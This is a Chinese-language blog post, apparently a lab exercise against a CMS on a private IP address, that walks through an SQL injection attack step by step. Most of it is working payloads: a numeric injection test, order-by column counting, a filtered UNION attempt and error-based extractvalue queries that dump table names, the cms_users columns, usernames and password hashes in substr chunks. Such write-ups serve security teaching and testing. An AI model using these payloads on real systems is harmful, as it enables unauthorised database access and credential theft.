Sql注入cms测试

记录一次对网站http://172.18.199.174/cms/的sql注入测试:

页面http://172.18.199.174/cms/show.php?id=37

1、通过发现,在本页面链接处存在注入点id,通过测试,判断输入类型是字符型还是整型

?id=37'

?id=37

通过发现,属于数字型的注入。接着运用逻辑运算 and测试,发现存在布尔型注入。(这里不详细说明)

?id=37 and 1 = 1

?id=37 and 1 = 2

2、通过查找利用order by 发现存在

?id=37 order by 15

?id=37 order by 16

接着通过构建联合查询发现联合查询被过滤掉。

?id=-37UNION SELECT 1,2,graoup_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15from information_schema,tables wheretable_schema = database()--+

所以联合查询这条路行不通,通过以上测试发现,本网站存在数据库报错,于是我们开始另一种方式,构建报错查询。

3、构建报错查询。查询数据库名cms:

?id=-37%20and%20extractvalue(1,concat(%27^%27,(database()),%27^%27))%20--+

4、爆表由于报错的长度限制,所有我们利用limi 的特性采取一组一组输出的形式:

?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20limit%200,1),%27^%27))%20--+

通过这种形式,我们爆出了所有表的名字:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page, cms_users

5、爆字段,通过上次爆出的表,发现了一个貌似管理员的表cms_users,于是我们以此表为例,展开对该表的字段爆破:

?id=-37 and extractvalue(1,concat('^',(select group_concat(column_name)from information_schema.columns where table_name =0x636d735f7573657273 andtable_schema = database() limit 0,1),'^')) --+

于是得到了该表的存在三个字段userid,username,password

6、得到了以上信息,我们就可以对该数据表内容进行获取了,于是我们构建sql语句来获取数据表值,由于对报错信息长度的限制,于是我们采取分段分组的形式来分批获取该表数据。

?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(username)%20from%20cms.cms_users),%27^%27))%20--+

改密码字段的值是加密后的,长度明显大于显示长度,于是利用substr()函数采取截取的手段获取完成加密密码;

?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20substr(concat(password),1,20)%20from%20cms.cms_users%20limit%200,1),%27^%27))%20--+获取前20个密码加密后的字符

?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20substr(concat(password),21)%20from%20cms.cms_users%20limit%200,1),%27^%27))%20--+从第21个开始,截取剩余字符串

以此类推,获取所有加密字符串

7、至此,获取了该表的所有信息。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20171218G0UHLD00?refer=cp_1026

同媒体快讯

  • Cookie窃取与欺骗

    2018-10-24

相关快讯

扫码关注云+社区